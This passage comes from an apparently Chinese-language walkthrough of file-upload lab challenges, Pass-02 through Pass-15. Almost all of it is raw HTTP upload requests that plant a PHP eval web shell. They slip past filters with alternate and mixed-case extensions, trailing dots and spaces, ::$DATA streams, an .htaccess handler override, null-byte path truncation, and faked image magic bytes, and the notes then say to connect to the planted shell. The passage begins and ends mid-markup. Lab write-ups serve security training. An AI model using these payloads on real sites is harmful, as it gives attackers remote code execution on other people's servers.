name=&quot;submit&quot;</span><br><span class="line"></span><br><span class="line">上传</span><br><span class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX--</span><br></pre></td></tr></table></figure><ul><li>与<code>/upload/x.php</code>建立连接</li></ul><h2 id="Pass-02"><a href="#Pass-02" class="headerlink" title="Pass-02"></a>Pass-02</h2><figure class="highlight http"><figcaption><span>request</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">POST /Pass-02/index.php</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>multipart/form-data; </span><br><span class="line"></span><br><span class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX</span><br><span class="line"><span class="attribute">Content-Disposition</span><span class="punctuation">: </span>form-data; name=&quot;upload_file&quot;; filename=&quot;x.php&quot;</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>image/gif</span><br><span class="line"></span><br><span class="line">&lt;?php eval($_REQUEST[&quot;x&quot;]); ?&gt;</span><br><span class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX</span><br><span class="line"><span class="attribute">Content-Disposition</span><span class="punctuation">: </span>form-data; name=&quot;submit&quot;</span><br><span class="line"></span><br><span class="line">上传</span><br><span class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX--</span><br></pre></td></tr></table></figure><ul><li>与<code>/upload/x.php</code>建立连接</li></ul><h2 id="Pass-03"><a href="#Pass-03" class="headerlink" title="Pass-03"></a>Pass-03</h2><figure class="highlight http"><figcaption><span>request</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">POST /Pass-03/index.php</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>multipart/form-data; </span><br><span class="line"></span><br><span class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX</span><br><span class="line"><span class="attribute">Content-Disposition</span><span class="punctuation">: </span>form-data; name=&quot;upload_file&quot;; filename=&quot;x.phtml&quot;</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>image/gif</span><br><span class="line"></span><br><span class="line">&lt;?php eval($_REQUEST[&quot;x&quot;]); ?&gt;</span><br><span class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX</span><br><span class="line"><span class="attribute">Content-Disposition</span><span class="punctuation">: </span>form-data; name=&quot;submit&quot;</span><br><span class="line"></span><br><span class="line">上传</span><br><span class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX--</span><br></pre></td></tr></table></figure><ul><li>与<code>/upload/201601021504050000.phtml</code>建立连接</li></ul><h2 id="Pass-04"><a href="#Pass-04" class="headerlink" title="Pass-04"></a>Pass-04</h2><ul><li>注入&#96;&#96;.htaccess&#96;文件</li></ul><figure class="highlight http"><figcaption><span>request</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">POST /Pass-04/index.php</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>multipart/form-data; </span><br><span class="line"></span><br><span class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX</span><br><span class="line"><span class="attribute">Content-Disposition</span><span class="punctuation">: </span>form-data; name=&quot;upload_file&quot;; filename=&quot;.htaccess&quot;</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>octet-stream</span><br><span class="line"></span><br><span class="line">SetHandler application/x-httpd-php</span><br><span class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX</span><br><span class="line"><span class="attribute">Content-Disposition</span><span class="punctuation">: </span>form-data; name=&quot;submit&quot;</span><br><span class="line"></span><br><span class="line">上传</span><br><span class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX--</span><br></pre></td></tr></table></figure><figure class="highlight http"><figcaption><span>request</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">POST /Pass-04/index.php</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>multipart/form-data; </span><br><span class="line"></span><br><span class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX</span><br><span class="line"><span class="attribute">Content-Disposition</span><span class="punctuation">: </span>form-data; name=&quot;upload_file&quot;; filename=&quot;x.txt&quot;</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>image/gif</span><br><span class="line"></span><br><span class="line">&lt;?php eval($_REQUEST[&quot;x&quot;]); ?&gt;</span><br><span class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX</span><br><span class="line"><span class="attribute">Content-Disposition</span><span class="punctuation">: </span>form-data; name=&quot;submit&quot;</span><br><span class="line"></span><br><span class="line">上传</span><br><span class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX--</span><br></pre></td></tr></table></figure><ul><li>与<code>/upload/x.txt</code>建立连接</li></ul><h2 id="Pass-05"><a href="#Pass-05" class="headerlink" title="Pass-05"></a>Pass-05</h2><figure class="highlight http"><figcaption><span>request</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">POST /Pass-05/index.php</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>multipart/form-data; </span><br><span class="line"></span><br><span class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX</span><br><span class="line"><span class="attribute">Content-Disposition</span><span class="punctuation">: </span>form-data; name=&quot;upload_file&quot;; filename=&quot;x.PHP&quot;</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>image/gif</span><br><span class="line"></span><br><span class="line">&lt;?php eval($_REQUEST[&quot;x&quot;]); ?&gt;</span><br><span class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX</span><br><span class="line"><span class="attribute">Content-Disposition</span><span class="punctuation">: </span>form-data; name=&quot;submit&quot;</span><br><span class="line"></span><br><span class="line">上传</span><br><span class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX--</span><br></pre></td></tr></table></figure><ul><li>与<code>/upload/201601021504050000.PHP</code>建立连接</li></ul><h2 id="Pass-06"><a href="#Pass-06" class="headerlink" title="Pass-06"></a>Pass-06</h2><figure class="highlight http"><figcaption><span>request</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">POST /Pass-06/index.php</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>multipart/form-data; </span><br><span class="line"></span><br><span class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX</span><br><span class="line"><span class="attribute">Content-Disposition</span><span class="punctuation">: </span>form-data; name=&quot;upload_file&quot;; filename=&quot;x.php .&quot;</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>image/gif</span><br><span class="line"></span><br><span class="line">&lt;?php eval($_REQUEST[&quot;x&quot;]); ?&gt;</span><br><span class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX</span><br><span class="line"><span class="attribute">Content-Disposition</span><span class="punctuation">: </span>form-data; name=&quot;submit&quot;</span><br><span class="line"></span><br><span class="line">上传</span><br><span class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX--</span><br></pre></td></tr></table></figure><ul><li>与<code>/upload/201601021504050000.PHP</code>建立连接</li></ul><h2 id="Pass-07"><a href="#Pass-07" class="headerlink" title="Pass-07"></a>Pass-07</h2><figure class="highlight http"><figcaption><span>request</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">POST /Pass-07/index.php</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>multipart/form-data; </span><br><span class="line"></span><br><span class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX</span><br><span class="line"><span class="attribute">Content-Disposition</span><span class="punctuation">: </span>form-data; name=&quot;upload_file&quot;; filename=&quot;x.php.&quot;</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>image/gif</span><br><span class="line"></span><br><span class="line">&lt;?php eval($_REQUEST[&quot;x&quot;]); ?&gt;</span><br><span class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX</span><br><span class="line"><span class="attribute">Content-Disposition</span><span class="punctuation">: </span>form-data; name=&quot;submit&quot;</span><br><span class="line"></span><br><span class="line">上传</span><br><span class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX--</span><br></pre></td></tr></table></figure><ul><li>与<code>/upload/x.php</code>建立连接</li></ul><h2 id="Pass-08"><a href="#Pass-08" class="headerlink" title="Pass-08"></a>Pass-08</h2><figure class="highlight http"><figcaption><span>request</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">POST /Pass-08/index.php</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>multipart/form-data; </span><br><span class="line"></span><br><span class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX</span><br><span class="line"><span class="attribute">Content-Disposition</span><span class="punctuation">: </span>form-data; name=&quot;upload_file&quot;; filename=&quot;x.php::$DATA&quot;</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>image/gif</span><br><span class="line"></span><br><span class="line">&lt;?php eval($_REQUEST[&quot;x&quot;]); ?&gt;</span><br><span class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX</span><br><span class="line"><span class="attribute">Content-Disposition</span><span class="punctuation">: </span>form-data; name=&quot;submit&quot;</span><br><span class="line"></span><br><span class="line">上传</span><br><span class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX--</span><br></pre></td></tr></table></figure><ul><li>与<code>/upload/201601021504050000.PHP</code>建立连接</li></ul><h2 id="Pass-09"><a href="#Pass-09" class="headerlink" title="Pass-09"></a>Pass-09</h2><figure class="highlight http"><figcaption><span>request</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">POST /Pass-09/index.php</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>multipart/form-data; </span><br><span class="line"></span><br><span class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX</span><br><span class="line"><span class="attribute">Content-Disposition</span><span class="punctuation">: </span>form-data; name=&quot;upload_file&quot;; filename=&quot;x.php. .&quot;</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>image/gif</span><br><span class="line"></span><br><span class="line">&lt;?php eval($_REQUEST[&quot;x&quot;]); ?&gt;</span><br><span class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX</span><br><span class="line"><span class="attribute">Content-Disposition</span><span class="punctuation">: </span>form-data; name=&quot;submit&quot;</span><br><span class="line"></span><br><span class="line">上传</span><br><span class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX--</span><br></pre></td></tr></table></figure><ul><li>与<code>/upload/x.php</code>建立连接</li></ul><h2 id="Pass-10"><a href="#Pass-10" class="headerlink" title="Pass-10"></a>Pass-10</h2><figure class="highlight http"><figcaption><span>request</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">POST /Pass-10/index.php</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>multipart/form-data; </span><br><span class="line"></span><br><span class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX</span><br><span class="line"><span class="attribute">Content-Disposition</span><span class="punctuation">: </span>form-data; name=&quot;upload_file&quot;; filename=&quot;x.pphphp&quot;</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>image/gif</span><br><span class="line"></span><br><span class="line">&lt;?php eval($_REQUEST[&quot;x&quot;]); ?&gt;</span><br><span class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX</span><br><span class="line"><span class="attribute">Content-Disposition</span><span class="punctuation">: </span>form-data; name=&quot;submit&quot;</span><br><span class="line"></span><br><span class="line">上传</span><br><span class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX--</span><br></pre></td></tr></table></figure><ul><li>与<code>/upload/x.php</code>建立连接</li></ul><h2 id="Pass-11"><a href="#Pass-11" class="headerlink" title="Pass-11"></a>Pass-11</h2><figure class="highlight http"><figcaption><span>request</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">POST /Pass-11/index.php?save_path=../upload/x.php%00</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>multipart/form-data; </span><br><span class="line"></span><br><span class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX</span><br><span class="line"><span class="attribute">Content-Disposition</span><span class="punctuation">: </span>form-data; name=&quot;upload_file&quot;; filename=&quot;x.gif&quot;</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>image/gif</span><br><span class="line"></span><br><span class="line">&lt;?php eval($_REQUEST[&quot;x&quot;]); ?&gt;</span><br><span class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX</span><br><span class="line"><span class="attribute">Content-Disposition</span><span class="punctuation">: </span>form-data; name=&quot;submit&quot;</span><br><span class="line"></span><br><span class="line">上传</span><br><span class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX--</span><br></pre></td></tr></table></figure><ul><li>与<code>/upload/x.php</code>建立连接</li></ul><h2 id="Pass-12"><a href="#Pass-12" class="headerlink" title="Pass-12"></a>Pass-12</h2><blockquote><p><code>0</code>：将16进制的<code>30</code>改为16进制的<code>00</code></p></blockquote><figure class="highlight http"><figcaption><span>request</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">POST /Pass-12/index.php</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>multipart/form-data; </span><br><span class="line"></span><br><span class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX</span><br><span class="line"><span class="attribute">Content-Disposition</span><span class="punctuation">: </span>form-data; name=&quot;save_path&quot;</span><br><span class="line"></span><br><span class="line">../upload/x.php0</span><br><span class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX</span><br><span class="line"><span class="attribute">Content-Disposition</span><span class="punctuation">: </span>form-data; name=&quot;upload_file&quot;; filename=&quot;x.gif&quot;</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>image/gif</span><br><span class="line"></span><br><span class="line">&lt;?php eval($_REQUEST[&quot;x&quot;]); ?&gt;</span><br><span class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX</span><br><span class="line"><span class="attribute">Content-Disposition</span><span class="punctuation">: </span>form-data; name=&quot;submit&quot;</span><br><span class="line"></span><br><span class="line">上传</span><br><span class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX--</span><br></pre></td></tr></table></figure><ul><li>与<code>/upload/x.php</code>建立连接</li></ul><h2 id="Pass-13"><a href="#Pass-13" class="headerlink" title="Pass-13"></a>Pass-13</h2><h3 id="GIF"><a href="#GIF" class="headerlink" title="GIF"></a>GIF</h3><blockquote><p><code>00</code>：将16进制的<code>30 30</code>改为16进制的<code>47 49</code></p></blockquote><figure class="highlight http"><figcaption><span>request</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">POST /Pass-13/index.php</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>multipart/form-data; </span><br><span class="line"></span><br><span class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX</span><br><span class="line"><span class="attribute">Content-Disposition</span><span class="punctuation">: </span>form-data; name=&quot;upload_file&quot;; filename=&quot;x.gif&quot;</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>image/gif</span><br><span class="line"></span><br><span class="line">00</span><br><span class="line">&lt;?php eval($_REQUEST[&quot;x&quot;]); ?&gt;</span><br><span class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX</span><br><span class="line"><span class="attribute">Content-Disposition</span><span class="punctuation">: </span>form-data; name=&quot;submit&quot;</span><br><span class="line"></span><br><span class="line">上传</span><br><span class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX--</span><br></pre></td></tr></table></figure><ul><li>与<code>/include.php?file=upload/201601021504050000.gif</code>建立连接</li></ul><h4 id="JPEG"><a href="#JPEG" class="headerlink" title="JPEG"></a>JPEG</h4><blockquote><p><code>00</code>：将16进制的<code>30 30</code>改为16进制的<code>FF D8</code></p></blockquote><figure class="highlight http"><figcaption><span>request</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">POST /Pass-13/index.php</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>multipart/form-data; </span><br><span class="line"></span><br><span class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX</span><br><span class="line"><span class="attribute">Content-Disposition</span><span class="punctuation">: </span>form-data; name=&quot;upload_file&quot;; filename=&quot;x.jpeg&quot;</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>image/jpeg</span><br><span class="line"></span><br><span class="line">00</span><br><span class="line">&lt;?php eval($_REQUEST[&quot;x&quot;]); ?&gt;</span><br><span class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX</span><br><span class="line"><span class="attribute">Content-Disposition</span><span class="punctuation">: </span>form-data; name=&quot;submit&quot;</span><br><span class="line"></span><br><span class="line">上传</span><br><span class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX--</span><br></pre></td></tr></table></figure><ul><li>与<code>/include.php?file=upload/201601021504050000.jpeg</code>建立连接</li></ul><h4 id="PNG"><a href="#PNG" class="headerlink" title="PNG"></a>PNG</h4><blockquote><p><code>00</code>：将16进制的<code>30 30</code>改为16进制的<code>89 50</code></p></blockquote><figure class="highlight http"><figcaption><span>request</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">POST /Pass-13/index.php</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>multipart/form-data; </span><br><span class="line"></span><br><span class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX</span><br><span class="line"><span class="attribute">Content-Disposition</span><span class="punctuation">: </span>form-data; name=&quot;upload_file&quot;; filename=&quot;x.png&quot;</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>image/png</span><br><span class="line"></span><br><span class="line">00</span><br><span class="line">&lt;?php eval($_REQUEST[&quot;x&quot;]); ?&gt;</span><br><span class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX</span><br><span class="line"><span class="attribute">Content-Disposition</span><span class="punctuation">: </span>form-data; name=&quot;submit&quot;</span><br><span class="line"></span><br><span class="line">上传</span><br><span class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX--</span><br></pre></td></tr></table></figure><ul><li>与<code>/include.php?file=upload/201601021504050000.png</code>建立连接</li></ul><h2 id="Pass-14"><a href="#Pass-14" class="headerlink" title="Pass-14"></a>Pass-14</h2><h3 id="GIF-1"><a href="#GIF-1" class="headerlink" title="GIF"></a>GIF</h3><blockquote><p><code>0000</code>：将16进制的<code>30 30 30 30</code>改为16进制的<code>47 49 46 38</code></p></blockquote><figure class="highlight http"><figcaption><span>request</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">POST /Pass-14/index.php</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>multipart/form-data; </span><br><span class="line"></span><br><span class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX</span><br><span class="line"><span class="attribute">Content-Disposition</span><span class="punctuation">: </span>form-data; name=&quot;upload_file&quot;; filename=&quot;x.gif&quot;</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>image/gif</span><br><span class="line"></span><br><span class="line">0000</span><br><span class="line">&lt;?php eval($_REQUEST[&quot;x&quot;]); ?&gt;</span><br><span class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX</span><br><span class="line"><span class="attribute">Content-Disposition</span><span class="punctuation">: </span>form-data; name=&quot;submit&quot;</span><br><span class="line"></span><br><span class="line">上传</span><br><span class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX--</span><br></pre></td></tr></table></figure><ul><li>与<code>/include.php?file=upload/201601021504050000.gif</code>建立连接</li></ul><h4 id="JPEG-1"><a href="#JPEG-1" class="headerlink" title="JPEG"></a>JPEG</h4><blockquote><p><code>ÿØÿÀ</code>：16进制的<code>FF D8 FF C0 00 11 08 00 01 00 01 03 01 11 00 02 11 00 03 11 00 FF D9</code></p></blockquote><figure class="highlight http"><figcaption><span>request</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">POST /Pass-14/index.php</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>multipart/form-data; </span><br><span class="line"></span><br><span class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX</span><br><span class="line"><span class="attribute">Content-Disposition</span><span class="punctuation">: </span>form-data; name=&quot;upload_file&quot;; filename=&quot;x.jpeg&quot;</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>image/jpeg</span><br><span class="line"></span><br><span class="line">ÿØÿÀ</span><br><span class="line">&lt;?php eval($_REQUEST[&quot;x&quot;]); ?&gt;</span><br><span class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX</span><br><span class="line"><span class="attribute">Content-Disposition</span><span class="punctuation">: </span>form-data; name=&quot;submit&quot;</span><br><span class="line"></span><br><span class="line">上传</span><br><span class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX--</span><br></pre></td></tr></table></figure><ul><li>与<code>/include.php?file=upload/201601021504050000.jpeg</code>建立连接</li></ul><h4 id="PNG-1"><a href="#PNG-1" class="headerlink" title="PNG"></a>PNG</h4><blockquote><p><code>00000000</code>：将16进制的<code>30 30 30 30 30 30 30 30</code>改为16进制的<code>89 50 4E 47 0D 0A 1A 0A</code></p></blockquote><figure class="highlight http"><figcaption><span>request</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">POST /Pass-14/index.php</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>multipart/form-data; </span><br><span class="line"></span><br><span class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX</span><br><span class="line"><span class="attribute">Content-Disposition</span><span class="punctuation">: </span>form-data; name=&quot;upload_file&quot;; filename=&quot;x.png&quot;</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>image/png</span><br><span class="line"></span><br><span class="line">00000000</span><br><span class="line">&lt;?php eval($_REQUEST[&quot;x&quot;]); ?&gt;</span><br><span class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX</span><br><span class="line"><span class="attribute">Content-Disposition</span><span class="punctuation">: </span>form-data; name=&quot;submit&quot;</span><br><span class="line"></span><br><span class="line">上传</span><br><span class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX--</span><br></pre></td></tr></table></figure><ul><li>与<code>/include.php?file=upload/201601021504050000.png</code>建立连接</li></ul><h2 id="Pass-15"><a href="#Pass-15" class="headerlink" title="Pass-15"></a>Pass-15</h2><h3 id="GIF-2"><a href="#GIF-2" class="headerlink" title="GIF"></a>GIF</h3><blockquote><p><code>0000</code>：将16进制的<code>30 30 30 30</code>改为16进制的<code>47 49 46 38</code></p></blockquote><figure class="highlight http"><figcaption><span>request</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">POST /Pass-15/index.php</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>multipart/form-data; </span><br><span class="line"></span><br><span class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX</span><br><span class="line"><span class="attribute">Content-Disposition</span><span class="punctuation">: </span>form-data; name=&quot;upload_file&quot;; filename=&quot;x.gif&quot;</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>image/gif</span><br><span class="line"></span><br><span class="line">0000</span><br><span class="line">&lt;?php eval($_REQUEST[&quot;x&quot;]); ?&gt;</span><br><span class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX</span><br><span class="line"><span class="attribute">Content-Disposition</span><span class="punctuation">: </span>form-data; name=&quot;submit&quot;</span><br><span class="line"></span><br><span class="line">上传</span><br><span 